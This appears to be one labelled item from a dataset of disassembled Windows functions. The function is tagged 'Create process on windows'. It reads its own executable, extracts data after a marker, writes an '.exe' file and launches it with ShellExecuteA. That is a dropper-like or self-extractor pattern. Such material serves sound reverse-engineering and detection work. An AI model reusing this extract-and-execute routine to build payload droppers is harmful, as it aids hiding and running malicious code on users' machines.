Function at 0x407740
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x159c
call fcn.004087b0
mov eax, dword [0x40e040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x104
push 0x40e4d0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x40e4d0
lea ecx, [ebp - 0x7c]
call fcn.00401010
push 0x40e4d0
call fcn.00406dd0
add esp, 4
lea eax, [ebp - 0x7c]
lea ecx, [ebp - 0x14ec]
push 1
push 0x40
push 0x24
push eax
call fcn.00401160
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x14ec]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
mov ecx, eax
call fcn.00403080
push eax
call fcn.00408795
sub esp, 0x14
mov dword [0x40e4c8], eax
mov ecx, esp
push 0
push 0
call fcn.00402330
lea ecx, [ebp - 0x14ec]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_class_std::fpos_struct__Mbstatet__]
lea ecx, [ebp - 0x14ec]
call dword [sym.imp.MSVCP140.dll_public:_long_long___int64____thiscall_std::basic_istream_char__struct_std::char_traits_char__::gcount_void_const]
push edx
push eax
push dword [0x40e4c8]
lea ecx, [ebp - 0x14ec]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
lea ecx, [ebp - 0x14ec]
call fcn.00405100
push 0x40e5d4
push dword [0x40e4c8]
call fcn.00406fd0
add esp, 8
lea ecx, [ebp - 0x1c]
add eax, 3
mov dword [0x40e4cc], eax
push 0
push str..exe
call fcn.00401010
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x1434]
call fcn.00402870
lea ecx, [ebp - 0x1c]
call fcn.00402ea0
sub esp, 8
lea eax, [ebp - 0x1434]
mov ecx, esp
push eax
call fcn.00402840
lea eax, [ebp - 0x142c]
push eax
call fcn.00405040
add esp, 4
lea eax, [ebp - 0x1434]
mov ecx, esp
push eax
call fcn.00402840
lea eax, [ebp - 0x1424]
push eax
call fcn.00405340
add esp, 0xc
lea eax, [ebp - 0x1424]
push eax
lea ecx, [ebp - 0x142c]
call fcn.00403060
test al, al
jne 0x407910
nop dword [eax]
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x142c]
call fcn.00403090
mov ecx, eax
call fcn.00405e40
mov ecx, eax
call fcn.00405430
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.00406fa0
lea ecx, [ebp - 0x4c]
call fcn.00402ea0
lea ecx, [ebp - 0x1c]
call fcn.00405060
push dword [0x40e4c8]
push eax
call fcn.00405480
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.00402e50
lea ecx, [ebp - 0x142c]
call fcn.004030a0
lea eax, [ebp - 0x1424]
push eax
lea ecx, [ebp - 0x142c]
call fcn.00403060
test al, al
je 0x4078a0
lea ecx, [ebp - 0x1424]
call fcn.00402eb0
lea ecx, [ebp - 0x142c]
call fcn.00402eb0
lea ecx, [ebp - 0x1434]
call fcn.00402eb0
push 0
call fcn.00407b10
add esp, 4
lea ecx, [ebp - 0x141c]
push eax
call fcn.00402360
lea ecx, [ebp - 0x1434]
call fcn.004023b0
push 0
push 0x40a52c
lea eax, [ebp - 0x141c]
push eax
lea ecx, [ebp - 0x1434]
call fcn.00401430
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00407140
add esp, 8
push eax
lea eax, [ebp - 0x94]
push eax
call fcn.004013c0
add esp, 0xc
lea ecx, [ebp - 0x1c]
push eax
call fcn.00401120
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.00407020
add esp, 4
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.004030c0
add esp, 0xc
lea ecx, [ebp - 0x4c]
call fcn.00402ea0
lea ecx, [ebp - 0x1c]
call fcn.00402ea0
lea ecx, [ebp - 0x94]
call fcn.00402e50
lea ecx, [ebp - 0x34]
call fcn.00402e50
cmp dword [0x40e4cc], 0
je 0x407a50
push 1
push 0x40
push 0x20
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x159c]
call fcn.00401290
mov edx, dword [0x40e4cc]
mov eax, edx
lea esi, [eax + 1]
nop word [eax + eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407a00
push 0
sub eax, esi
lea ecx, [ebp - 0x159c]
push eax
push edx
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
push 5
push 0
push 0
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x64]
call fcn.00406fa0
mov ecx, eax
call fcn.00405060
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x34]
call fcn.00402e50
lea ecx, [ebp - 0x159c]
call fcn.00403390
call fcn.00405f30
int3